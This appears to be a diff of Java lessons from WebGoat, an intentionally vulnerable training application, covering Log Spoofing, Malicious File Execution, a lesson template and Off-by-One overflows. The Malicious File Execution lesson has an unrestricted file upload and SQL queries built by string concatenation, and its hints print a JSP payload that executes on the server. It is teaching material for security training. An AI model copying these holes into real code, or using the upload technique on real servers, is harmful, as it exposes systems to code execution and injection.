hints.add(WebGoatI18N.get("LogSpoofingHint3")); hints.add(WebGoatI18N.get("LogSpoofingHint3"));
hints.add(WebGoatI18N.get("LogSpoofingHint4")); hints.add(WebGoatI18N.get("LogSpoofingHint4"));
return hints; return hints;
} }
@Override @Override
public String getTitle() public String getTitle()
{ {
return "Log Spoofing"; return "Log Spoofing";
} }
@Override @Override
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INJECTION; return Category.INJECTION;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa&nbsp;", MAC_LOGO);
} }
} }

View File

@ -59,52 +59,52 @@ import org.apache.commons.fileupload.servlet.*;
public class MaliciousFileExecution extends LessonAdapter public class MaliciousFileExecution extends LessonAdapter
{ {
private final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0)); private final static A MANDIANT_LOGO = new A().setHref("http://www.mandiant.com").addElement(new IMG("images/logos/mandiant.png").setAlt("MANDIANT").setBorder(0).setHspace(0).setVspace(0));
// the UPLOADS_DIRECTORY is where uploads are stored such that they can be references // the UPLOADS_DIRECTORY is where uploads are stored such that they can be references
// in image tags as "uploads/filename.ext". This directory string should not contain any path separators (/ or \) // in image tags as "uploads/filename.ext". This directory string should not contain any path separators (/ or \)
private String uploads_and_target_parent_directory = null; private String uploads_and_target_parent_directory = null;
private final static String UPLOADS_RELATIVE_PATH = "uploads"; private final static String UPLOADS_RELATIVE_PATH = "uploads";
// this is the target directory that the user must put a file in to pass the lessson. The file must be named // this is the target directory that the user must put a file in to pass the lessson. The file must be named
// username.txt. This directory string should not contain any path separators (/ or \) // username.txt. This directory string should not contain any path separators (/ or \)
private final static String TARGET_RELATIVE_PATH = "mfe_target"; private final static String TARGET_RELATIVE_PATH = "mfe_target";
// this should probably go in a constructor, but we need the session object... // this should probably go in a constructor, but we need the session object...
// may be able to do something like: // may be able to do something like:
// String directory = this.getServletContext().getRealPath("/"); // String directory = this.getServletContext().getRealPath("/");
private void fill_uploads_and_target_parent_directory(WebSession s) { private void fill_uploads_and_target_parent_directory(WebSession s) {
//uploads_and_target_parent_directory = s.getWebgoatContext().getServlet().getServletContext().getRealPath("/"); //uploads_and_target_parent_directory = s.getWebgoatContext().getServlet().getServletContext().getRealPath("/");
uploads_and_target_parent_directory = s.getContext().getRealPath("/"); uploads_and_target_parent_directory = s.getContext().getRealPath("/");
// make sure it ends with a / or \ // make sure it ends with a / or \
if(!uploads_and_target_parent_directory.endsWith(File.separator)) { if(!uploads_and_target_parent_directory.endsWith(File.separator)) {
uploads_and_target_parent_directory = uploads_and_target_parent_directory + uploads_and_target_parent_directory = uploads_and_target_parent_directory +
File.separator; File.separator;
} }
System.out.println("uploads_and_target_parent_directory set to = " System.out.println("uploads_and_target_parent_directory set to = "
+ uploads_and_target_parent_directory); + uploads_and_target_parent_directory);
// make sure the directories exist // make sure the directories exist
File uploads_dir = new File(uploads_and_target_parent_directory File uploads_dir = new File(uploads_and_target_parent_directory
+ UPLOADS_RELATIVE_PATH); + UPLOADS_RELATIVE_PATH);
uploads_dir.mkdir(); uploads_dir.mkdir();
File target_dir = new File(uploads_and_target_parent_directory File target_dir = new File(uploads_and_target_parent_directory
+ TARGET_RELATIVE_PATH); + TARGET_RELATIVE_PATH);
target_dir.mkdir(); target_dir.mkdir();
// delete the user's target file if it is already there since we must // delete the user's target file if it is already there since we must
// have restarted webgoat // have restarted webgoat
File userfile = new File(uploads_and_target_parent_directory File userfile = new File(uploads_and_target_parent_directory
+ TARGET_RELATIVE_PATH + java.io.File.separator + TARGET_RELATIVE_PATH + java.io.File.separator
+ s.getUserName() + ".txt"); + s.getUserName() + ".txt");
userfile.delete(); userfile.delete();
} }
/** /**
* Description of the Method * Description of the Method
* *
@ -114,71 +114,71 @@ public class MaliciousFileExecution extends LessonAdapter
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
if(uploads_and_target_parent_directory == null) { if(uploads_and_target_parent_directory == null) {
fill_uploads_and_target_parent_directory(s); fill_uploads_and_target_parent_directory(s);
} }
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
// check for success - see if the target file exists yet // check for success - see if the target file exists yet
File userfile = new File(uploads_and_target_parent_directory File userfile = new File(uploads_and_target_parent_directory
+ TARGET_RELATIVE_PATH + java.io.File.separator + TARGET_RELATIVE_PATH + java.io.File.separator
+ s.getUserName() + ".txt"); + s.getUserName() + ".txt");
if(userfile.exists()) { if(userfile.exists()) {
makeSuccess(s); makeSuccess(s);
} }
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(new H1().addElement("WebGoat Image Storage")); ec.addElement(new H1().addElement("WebGoat Image Storage"));
// show the current image // show the current image
ec.addElement(new P().addElement("Your current image:")); ec.addElement(new P().addElement("Your current image:"));
String image_query = "SELECT image_relative_url FROM mfe_images WHERE user_name = '" String image_query = "SELECT image_relative_url FROM mfe_images WHERE user_name = '"
+ s.getUserName() + "'"; + s.getUserName() + "'";
Statement image_statement = connection.createStatement( Statement image_statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet image_results = image_statement.executeQuery(image_query); ResultSet image_results = image_statement.executeQuery(image_query);
if(image_results.next() == false) { if(image_results.next() == false) {
// result set was empty // result set was empty
ec.addElement(new P().addElement("No image uploaded")); ec.addElement(new P().addElement("No image uploaded"));
System.out.println("No image uploaded"); System.out.println("No image uploaded");
} else { } else {
String image_url = image_results.getString(1); String image_url = image_results.getString(1);
ec.addElement(new IMG(image_url).setBorder(0).setHspace(0).setVspace(0)); ec.addElement(new IMG(image_url).setBorder(0).setHspace(0).setVspace(0));
System.out.println("Found image named: " + image_url); System.out.println("Found image named: " + image_url);
} }
ec.addElement(new P().addElement("Upload a new image:")); ec.addElement(new P().addElement("Upload a new image:"));
Input input = new Input(Input.FILE, "myfile", ""); Input input = new Input(Input.FILE, "myfile", "");
ec.addElement(input); ec.addElement(input);
Element b = ECSFactory.makeButton("Start Upload"); Element b = ECSFactory.makeButton("Start Upload");
ec.addElement(b); ec.addElement(b);
} }
catch (Exception e) catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
@ -188,7 +188,7 @@ public class MaliciousFileExecution extends LessonAdapter
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.MALICIOUS_EXECUTION; return Category.MALICIOUS_EXECUTION;
} }
/** /**
@ -198,7 +198,7 @@ public class MaliciousFileExecution extends LessonAdapter
*/ */
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Chuck Willis&nbsp;", MANDIANT_LOGO); return super.getCustomCredits("Created by Chuck Willis&nbsp;", MANDIANT_LOGO);
} }
/** /**
@ -209,63 +209,63 @@ public class MaliciousFileExecution extends LessonAdapter
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
if(uploads_and_target_parent_directory == null) { if(uploads_and_target_parent_directory == null) {
fill_uploads_and_target_parent_directory(s); fill_uploads_and_target_parent_directory(s);
} }
String target_filename = uploads_and_target_parent_directory String target_filename = uploads_and_target_parent_directory
+ TARGET_RELATIVE_PATH + TARGET_RELATIVE_PATH
+ java.io.File.separator + java.io.File.separator
+ s.getUserName() + ".txt"; + s.getUserName() + ".txt";
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Where are uploaded images stored? Can you browse to them directly?"); hints.add("Where are uploaded images stored? Can you browse to them directly?");
hints.add("What type of file can you upload to a J2EE server that will be executed when you browse to it?"); hints.add("What type of file can you upload to a J2EE server that will be executed when you browse to it?");
hints.add("You want to upload a .jsp file that creates an instance of the class java.io.File " + hints.add("You want to upload a .jsp file that creates an instance of the class java.io.File " +
" and calls the createNewFile() method of that instance."); " and calls the createNewFile() method of that instance.");
hints.add("Below are some helpful links..." + hints.add("Below are some helpful links..." +
"<br><br>Here is a page with an example of a simple .jsp file using a Scriptlet:" + "<br><br>Here is a page with an example of a simple .jsp file using a Scriptlet:" +
"<br><a href=\"http://www.jsptut.com/Scriptlets.jsp\">" + "<br><a href=\"http://www.jsptut.com/Scriptlets.jsp\">" +
"http://www.jsptut.com/Scriptlets.jsp</a>" + "http://www.jsptut.com/Scriptlets.jsp</a>" +
"<br><br>Here is an page with an example of using createNewFile():" + "<br><br>Here is an page with an example of using createNewFile():" +
"<br><a href=\"http://www.roseindia.net/java/example/java/io/CreateFile.shtml\">" + "<br><a href=\"http://www.roseindia.net/java/example/java/io/CreateFile.shtml\">" +
"http://www.roseindia.net/java/example/java/io/CreateFile.shtml</a>" + "http://www.roseindia.net/java/example/java/io/CreateFile.shtml</a>" +
"<br><br>Here is the API specification for java.io.File:" + "<br><br>Here is the API specification for java.io.File:" +
"<br><a href=\"http://java.sun.com/j2se/1.5.0/docs/api/java/io/File.html\">" + "<br><a href=\"http://java.sun.com/j2se/1.5.0/docs/api/java/io/File.html\">" +
"http://java.sun.com/j2se/1.5.0/docs/api/java/io/File.html</a>" "http://java.sun.com/j2se/1.5.0/docs/api/java/io/File.html</a>"
); );
hints hints
.add("Here is an example .jsp file, modify it to use java.io.File and its createNewFile() method:" .add("Here is an example .jsp file, modify it to use java.io.File and its createNewFile() method:"
+ "<br><br>&lt;HTML&gt;" + "<br><br>&lt;HTML&gt;"
+ "<br>&lt;%" + "<br>&lt;%"
+ "<br>java.lang.String hello = new java.lang.String(\"Hello World!\");" + "<br>java.lang.String hello = new java.lang.String(\"Hello World!\");"
+ "<br>System.out.println(hello);" + "<br>System.out.println(hello);"
+ "<br>%&gt;" + "<br>%&gt;"
+ "<br>&lt;/HTML&gt;" + "<br>&lt;/HTML&gt;"
+ "<br><br>NOTE: executing this file will print \"Hello World!\" to the Tomcat Console, not to your client browser" + "<br><br>NOTE: executing this file will print \"Hello World!\" to the Tomcat Console, not to your client browser"
); );
hints hints
.add("SOLUTION:<br><br>Upload a file with a .jsp extension and this content:" .add("SOLUTION:<br><br>Upload a file with a .jsp extension and this content:"
+ "<br><br>&lt;HTML&gt;" + "<br><br>&lt;HTML&gt;"
+ "<br>&lt;%" + "<br>&lt;%"
+ "<br>java.io.File file = new java.io.File(\"" + "<br>java.io.File file = new java.io.File(\""
+ target_filename.replaceAll("\\\\", "\\\\\\\\") // if we are on windows, we need to + target_filename.replaceAll("\\\\", "\\\\\\\\") // if we are on windows, we need to
// make sure path separators are doubled / escaped // make sure path separators are doubled / escaped
+ "\");" + "\");"
+ "<br>file.createNewFile();" + "<br>file.createNewFile();"
+ "<br>%&gt;" + "<br>%&gt;"
+ "<br>&lt;/HTML&gt;" + "<br>&lt;/HTML&gt;"
+ "<br><br>After you have uploaded your jsp file, you can get the system to execute it by opening it in your browser at the URL below (or by just refreshing this page):" + "<br><br>After you have uploaded your jsp file, you can get the system to execute it by opening it in your browser at the URL below (or by just refreshing this page):"
+ "<br><br>http://webgoat_ip:port/WebGoat/" + UPLOADS_RELATIVE_PATH + "/yourfilename.jsp" + "<br><br>http://webgoat_ip:port/WebGoat/" + UPLOADS_RELATIVE_PATH + "/yourfilename.jsp"
); );
return hints; return hints;
} }
// this is a custom method for this lesson to restart. It is called in WebSession.restartLesson // this is a custom method for this lesson to restart. It is called in WebSession.restartLesson
@ -275,36 +275,36 @@ public class MaliciousFileExecution extends LessonAdapter
{ {
if(uploads_and_target_parent_directory == null) { if(uploads_and_target_parent_directory == null) {
fill_uploads_and_target_parent_directory(s); fill_uploads_and_target_parent_directory(s);
} }
System.out.println("Restarting Malicious File Execution lesson for user " + s.getUserName()); System.out.println("Restarting Malicious File Execution lesson for user " + s.getUserName());
// delete the user's target file // delete the user's target file
File userfile = new File(uploads_and_target_parent_directory File userfile = new File(uploads_and_target_parent_directory
+ TARGET_RELATIVE_PATH + TARGET_RELATIVE_PATH
+ java.io.File.separator + java.io.File.separator
+ s.getUserName() + ".txt"); + s.getUserName() + ".txt");
userfile.delete(); userfile.delete();
// remove the row from the mfe table // remove the row from the mfe table
// add url to database table // add url to database table
try { try {
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement(); Statement statement = connection.createStatement();
String deleteuserrow = "DELETE from mfe_images WHERE user_name = '" String deleteuserrow = "DELETE from mfe_images WHERE user_name = '"
+ s.getUserName() + "';"; + s.getUserName() + "';";
statement.executeUpdate(deleteuserrow); statement.executeUpdate(deleteuserrow);
} catch (SQLException e) { } catch (SQLException e) {
// TODO Auto-generated catch block // TODO Auto-generated catch block
e.printStackTrace(); e.printStackTrace();
} }
} }
@ -314,36 +314,36 @@ public class MaliciousFileExecution extends LessonAdapter
// this method will delete files in the target directory and the uploads directory // this method will delete files in the target directory and the uploads directory
// it should be called when WebGoat starts // it should be called when WebGoat starts
// public static void cleanDirectories() { // public static void cleanDirectories() {
// // delete files in TARGET_DIRECTORY // // delete files in TARGET_DIRECTORY
// File target_dir = new File(TARGET_RELATIVE_PATH); // File target_dir = new File(TARGET_RELATIVE_PATH);
// deleteFilesInDir(target_dir); // deleteFilesInDir(target_dir);
// //
// // delete files in uploads directory // // delete files in uploads directory
// File uploads_dir = new File(uploads_and_target_parent_directory + UPLOADS_RELATIVE_PATH); // File uploads_dir = new File(uploads_and_target_parent_directory + UPLOADS_RELATIVE_PATH);
// deleteFilesInDir(uploads_dir); // deleteFilesInDir(uploads_dir);
// //
// } // }
// private static void deleteFilesInDir(File dir) { // private static void deleteFilesInDir(File dir) {
// File[] dir_files = dir.listFiles(); // File[] dir_files = dir.listFiles();
// for(int i = 0; i < dir_files.length; i++) { // for(int i = 0; i < dir_files.length; i++) {
// // we won't recurse and we don't want to delete every file just in // // we won't recurse and we don't want to delete every file just in
// // case TARGET_DIRECTORY or uploads directory is pointed // // case TARGET_DIRECTORY or uploads directory is pointed
// // somewhere stupid, like c:\ or / // // somewhere stupid, like c:\ or /
// if(dir_files[i].isFile()) { // if(dir_files[i].isFile()) {
// String lower_file_name = dir_files[i].getName().toLowerCase(); // String lower_file_name = dir_files[i].getName().toLowerCase();
// //
// if(lower_file_name.endsWith(".jpg") || // if(lower_file_name.endsWith(".jpg") ||
// lower_file_name.endsWith(".gif") || // lower_file_name.endsWith(".gif") ||
// lower_file_name.endsWith(".png") || // lower_file_name.endsWith(".png") ||
// lower_file_name.endsWith(".jsp") || // lower_file_name.endsWith(".jsp") ||
// lower_file_name.endsWith(".txt") || // lower_file_name.endsWith(".txt") ||
// lower_file_name.endsWith(".asp") || // in case they think this is a IIS server :-) // lower_file_name.endsWith(".asp") || // in case they think this is a IIS server :-)
// lower_file_name.endsWith(".aspx")) { // lower_file_name.endsWith(".aspx")) {
// dir_files[i].delete(); // dir_files[i].delete();
// } // }
// } // }
// } // }
// } // }
@ -355,28 +355,28 @@ public class MaliciousFileExecution extends LessonAdapter
public String getInstructions(WebSession s) public String getInstructions(WebSession s)
{ {
if(uploads_and_target_parent_directory == null) { if(uploads_and_target_parent_directory == null) {
fill_uploads_and_target_parent_directory(s); fill_uploads_and_target_parent_directory(s);
} }
String instructions = "The form below allows you to upload an image which will be displayed on this page. " String instructions = "The form below allows you to upload an image which will be displayed on this page. "
+ "Features like this are often found on web based discussion boards and social networking sites. " + "Features like this are often found on web based discussion boards and social networking sites. "
+ "This feature is vulnerable to Malicious File Execution." + "This feature is vulnerable to Malicious File Execution."
+ "<br><br>In order to pass this lesson, upload and run a malicious file. In order to prove that your file can execute," + "<br><br>In order to pass this lesson, upload and run a malicious file. In order to prove that your file can execute,"
+ " it should create another file named:<br><br> " + " it should create another file named:<br><br> "
+ uploads_and_target_parent_directory + uploads_and_target_parent_directory
+ TARGET_RELATIVE_PATH + TARGET_RELATIVE_PATH
+ java.io.File.separator + java.io.File.separator
+ s.getUserName() + ".txt" + s.getUserName() + ".txt"
+ "<br><br>Once you have created this file, you will pass the lesson."; + "<br><br>Once you have created this file, you will pass the lesson.";
return (instructions); return (instructions);
} }
private final static Integer DEFAULT_RANKING = new Integer(75); private final static Integer DEFAULT_RANKING = new Integer(75);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
@ -386,7 +386,7 @@ public class MaliciousFileExecution extends LessonAdapter
*/ */
public String getTitle() public String getTitle()
{ {
return ("Malicious File Execution"); return ("Malicious File Execution");
} }
/** /**
@ -397,105 +397,105 @@ public class MaliciousFileExecution extends LessonAdapter
*/ */
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
if(uploads_and_target_parent_directory == null) { if(uploads_and_target_parent_directory == null) {
fill_uploads_and_target_parent_directory(s); fill_uploads_and_target_parent_directory(s);
} }
try try
{ {
if(ServletFileUpload.isMultipartContent(s.getRequest())) { if(ServletFileUpload.isMultipartContent(s.getRequest())) {
// multipart request - we have the file upload // multipart request - we have the file upload
// Create a factory for disk-based file items // Create a factory for disk-based file items
DiskFileItemFactory factory = new DiskFileItemFactory(); DiskFileItemFactory factory = new DiskFileItemFactory();
factory.setSizeThreshold(500000); // files over 500k will be written to disk temporarily. factory.setSizeThreshold(500000); // files over 500k will be written to disk temporarily.
// files under that size will be stored in memory until written to disk by the request handler code below // files under that size will be stored in memory until written to disk by the request handler code below
// Create a new file upload handler // Create a new file upload handler
ServletFileUpload upload = new ServletFileUpload(factory); ServletFileUpload upload = new ServletFileUpload(factory);
// Parse the request // Parse the request
List /* FileItem */ items = upload.parseRequest(s.getRequest()); List /* FileItem */ items = upload.parseRequest(s.getRequest());
// Process the uploaded items // Process the uploaded items
java.util.Iterator iter = items.iterator(); java.util.Iterator iter = items.iterator();
while (iter.hasNext()) { while (iter.hasNext()) {
FileItem item = (FileItem) iter.next(); FileItem item = (FileItem) iter.next();
if (item.isFormField()) { if (item.isFormField()) {
// ignore regular form fields // ignore regular form fields
} else { } else {
// not a form field, must be a file upload // not a form field, must be a file upload
if(item.getName().contains("/") || item.getName().contains("\\")) { if(item.getName().contains("/") || item.getName().contains("\\")) {
System.out.println("Uploaded file contains a / or \\ (i.e. attempted directory traversal). Not storing file."); System.out.println("Uploaded file contains a / or \\ (i.e. attempted directory traversal). Not storing file.");
// TODO - is there a way to show an error to the user here? // TODO - is there a way to show an error to the user here?
s.setMessage("Directory traversal not allowed. Nice try though."); s.setMessage("Directory traversal not allowed. Nice try though.");
} else { } else {
// write file to disk with original name in uploads directory // write file to disk with original name in uploads directory
String uploaded_file_path = uploads_and_target_parent_directory String uploaded_file_path = uploads_and_target_parent_directory
+ UPLOADS_RELATIVE_PATH + UPLOADS_RELATIVE_PATH
+ java.io.File.separator + java.io.File.separator
+ item.getName(); + item.getName();
File uploadedFile = new File(uploaded_file_path); File uploadedFile = new File(uploaded_file_path);
item.write(uploadedFile); item.write(uploadedFile);
System.out.println("Stored file:\n" + uploaded_file_path ); System.out.println("Stored file:\n" + uploaded_file_path );
// add url to database table // add url to database table
Connection connection = DatabaseUtilities.getConnection(s); Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement(); Statement statement = connection.createStatement();
// attempt an update // attempt an update
String updateData1 = "UPDATE mfe_images SET image_relative_url='" + UPLOADS_RELATIVE_PATH + "/" String updateData1 = "UPDATE mfe_images SET image_relative_url='" + UPLOADS_RELATIVE_PATH + "/"
+ item.getName() + "' WHERE user_name = '" + item.getName() + "' WHERE user_name = '"
+ s.getUserName() + "';"; + s.getUserName() + "';";
System.out.println("Updating row:\n" + updateData1 ); System.out.println("Updating row:\n" + updateData1 );
if(statement.executeUpdate(updateData1) == 0) { if(statement.executeUpdate(updateData1) == 0) {
// update failed, we need to add a row // update failed, we need to add a row
String insertData1 = "INSERT INTO mfe_images VALUES ('" + String insertData1 = "INSERT INTO mfe_images VALUES ('" +
s.getUserName() + "','" + UPLOADS_RELATIVE_PATH + "/" + s.getUserName() + "','" + UPLOADS_RELATIVE_PATH + "/" +
item.getName() + "')"; item.getName() + "')";
System.out.println("Inserting row:\n" + insertData1 ); System.out.println("Inserting row:\n" + insertData1 );
statement.executeUpdate(insertData1); statement.executeUpdate(insertData1);
} }
} }
} }
} }
} }
// now handle normally (if it was a multipart request or now) // now handle normally (if it was a multipart request or now)
//super.handleRequest(s); //super.handleRequest(s);
// needed to cut and paste and edit rather than calling super // needed to cut and paste and edit rather than calling super
// here so that we could set the encoding type to multipart form data // here so that we could set the encoding type to multipart form data
// call createContent first so messages will go somewhere // call createContent first so messages will go somewhere
Form form = new Form(getFormAction(), Form.POST).setName("form") Form form = new Form(getFormAction(), Form.POST).setName("form")
.setEncType("multipart/form-data"); .setEncType("multipart/form-data");
form.addElement(createContent(s)); form.addElement(createContent(s));
setContent(form); setContent(form);
} }
catch (Exception e) catch (Exception e)
{ {
System.out.println("Exception caught: " + e); System.out.println("Exception caught: " + e);
e.printStackTrace(System.out); e.printStackTrace(System.out);
} }
} }
} }

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -38,51 +38,51 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class NewLesson extends LessonAdapter public class NewLesson extends LessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
return super.createContent(s); return super.createContent(s);
// makeSuccess(s); // makeSuccess(s);
// ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!")); // ec.addElement(new StringElement("Welcome to the WebGoat hall of fame !!"));
// return (ec); // return (ec);
} }
/** /**
* Gets the category attribute of the NEW_LESSON object * Gets the category attribute of the NEW_LESSON object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INTRODUCTION; return Category.INTRODUCTION;
} }
private final static Integer DEFAULT_RANKING = new Integer(85); private final static Integer DEFAULT_RANKING = new Integer(85);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DirectoryScreen object * Gets the title attribute of the DirectoryScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("How to create a Lesson"); return ("How to create a Lesson");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by: Your name goes here!", new StringElement("")); return super.getCustomCredits("Created by: Your name goes here!", new StringElement(""));
} }
} }

View File

@ -51,480 +51,480 @@ import org.owasp.webgoat.session.WebSession;
*/ */
public class OffByOne extends LessonAdapter public class OffByOne extends LessonAdapter
{ {
private final static String[] price_plans = { "$1.99 - 1 hour ", "$5.99 - 12 hours", "$9.99 - 24 hours"}; private final static String[] price_plans = { "$1.99 - 1 hour ", "$5.99 - 12 hours", "$9.99 - 24 hours"};
private final static String ROOM_NUMBER = "room_no"; private final static String ROOM_NUMBER = "room_no";
private final static String FIRST_NAME = "first_name"; private final static String FIRST_NAME = "first_name";
private final static String LAST_NAME = "last_name"; private final static String LAST_NAME = "last_name";
private final static String PRICE_PLAN = "price_plan"; private final static String PRICE_PLAN = "price_plan";
private final static IMG LOGO = new IMG("images/logos/seleucus.png").setAlt("Seleucus Ltd") private final static IMG LOGO = new IMG("images/logos/seleucus.png").setAlt("Seleucus Ltd")
.setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
/** /**
* <p>The main method for creating content, implemented * <p>The main method for creating content, implemented
* from the the LessonAdapter class.</p> * from the the LessonAdapter class.</p>
* *
* <p>This particular "Off-by-One" lesson belonging in * <p>This particular "Off-by-One" lesson belonging in
* the category of "Buffer Overflows" carries three * the category of "Buffer Overflows" carries three
* steps.</p> * steps.</p>
* *
* @param s * @param s
* WebSession * WebSession
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
if(isFirstStep(s)) if(isFirstStep(s))
{ {
ec.addElement(makeFirstStep(s)); ec.addElement(makeFirstStep(s));
} }
else else
{ {
if (isSecondStep(s)) if (isSecondStep(s))
{ {
ec.addElement(makeSecondStep(s)); ec.addElement(makeSecondStep(s));
} }
else else
{ {
ec.addElement(makeThirdStep(s)); ec.addElement(makeThirdStep(s));
} }
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* <p>Returns the Buffer Overflow category for this * <p>Returns the Buffer Overflow category for this
* lesson.</p> * lesson.</p>
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.BUFFER_OVERFLOW; return Category.BUFFER_OVERFLOW;
} }
/** /**
* <p>Returns the hints as a List of Strings * <p>Returns the hints as a List of Strings
* for this lesson.</p> * for this lesson.</p>
* *
* @return The hints values * @return The hints values
*/ */
public List<String> getHints(WebSession s) public List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("While registering for Internet usage, see where else your details are used during the registration process."); hints.add("While registering for Internet usage, see where else your details are used during the registration process.");
hints.add("See which fields during the registration process, allow for really long input to be submitted."); hints.add("See which fields during the registration process, allow for really long input to be submitted.");
hints.add("Check for hidden form fields during registration"); hints.add("Check for hidden form fields during registration");
hints.add("Typically, web-based buffer overflows occur just above the value of 2 to the power of a number. E.g. 1024 + 1, 2048 + 1, 4096 + 1"); hints.add("Typically, web-based buffer overflows occur just above the value of 2 to the power of a number. E.g. 1024 + 1, 2048 + 1, 4096 + 1");
hints.add("Overflow the room number field with 4096+1 characters and look for hidden fields"); hints.add("Overflow the room number field with 4096+1 characters and look for hidden fields");
hints.add("Enter the VIP name in the first and last naem fields"); hints.add("Enter the VIP name in the first and last naem fields");
return hints; return hints;
} }
/** /**
* <p>Get the default ranking within the "Buffer * <p>Get the default ranking within the "Buffer
* Overflow" category.</p> * Overflow" category.</p>
* *
* <p>Currently ranked to be the first lesson in * <p>Currently ranked to be the first lesson in
* this category.</p> * this category.</p>
* *
* @return The value of 5 as an Integer Object * @return The value of 5 as an Integer Object
*/ */
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return new Integer(5); return new Integer(5);
} }
/** /**
* <p>Gets the title attribute for this lesson.</p> * <p>Gets the title attribute for this lesson.</p>
* *
* @return "Off-by-One Overflows" * @return "Off-by-One Overflows"
*/ */
public String getTitle() public String getTitle()
{ {
return ("Off-by-One Overflows"); return ("Off-by-One Overflows");
} }
/** /**
* yada, yada... * yada, yada...
*/ */
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Yiannis Pavlosoglou ", LOGO); return super.getCustomCredits("Created by Yiannis Pavlosoglou ", LOGO);
} }
/** /**
* <p>Based on the parameters currently with values, this method * <p>Based on the parameters currently with values, this method
* returns true if we are in the first step of this lesson.</p> * returns true if we are in the first step of this lesson.</p>
* *
* @param s * @param s
* @return true if we are in the first step of the lesson. * @return true if we are in the first step of the lesson.
*/ */
protected boolean isFirstStep(WebSession s) protected boolean isFirstStep(WebSession s)
{ {
String room = s.getParser().getRawParameter(ROOM_NUMBER, ""); String room = s.getParser().getRawParameter(ROOM_NUMBER, "");
String name = s.getParser().getRawParameter(FIRST_NAME, ""); String name = s.getParser().getRawParameter(FIRST_NAME, "");
String last = s.getParser().getRawParameter(LAST_NAME, ""); String last = s.getParser().getRawParameter(LAST_NAME, "");
return (room.isEmpty() && name.isEmpty() && last.isEmpty() ); return (room.isEmpty() && name.isEmpty() && last.isEmpty() );
} }
/** /**
* <p>Based on the parameters currently with values, this method * <p>Based on the parameters currently with values, this method
* returns true if we are in the second step of this lesson.</p> * returns true if we are in the second step of this lesson.</p>
* *
* @param s * @param s
* @return true if we are in the second step of the lesson * @return true if we are in the second step of the lesson
*/ */
protected boolean isSecondStep(WebSession s) protected boolean isSecondStep(WebSession s)
{ {
String price = s.getParser().getRawParameter(PRICE_PLAN, ""); String price = s.getParser().getRawParameter(PRICE_PLAN, "");
return price.isEmpty(); return price.isEmpty();
} }
/** /**
* <p>Method for constructing the first step and returning it as * <p>Method for constructing the first step and returning it as
* an Element.</p> * an Element.</p>
* *
* @param s * @param s
* @return The Element that is the first step. * @return The Element that is the first step.
*/ */
private Element makeFirstStep(WebSession s) private Element makeFirstStep(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String param = ""; String param = "";
// Header // Header
ec.addElement(new StringElement("In order to access the Internet, you need to provide us the following information:")); ec.addElement(new StringElement("In order to access the Internet, you need to provide us the following information:"));
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new StringElement("Step 1/2")); ec.addElement(new StringElement("Step 1/2"));
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new StringElement("Ensure that your first and last names are entered exactly as they appear in the hotel's registration system.")); ec.addElement(new StringElement("Ensure that your first and last names are entered exactly as they appear in the hotel's registration system."));
ec.addElement(new br()); ec.addElement(new br());
ec.addElement(new br()); ec.addElement(new br());
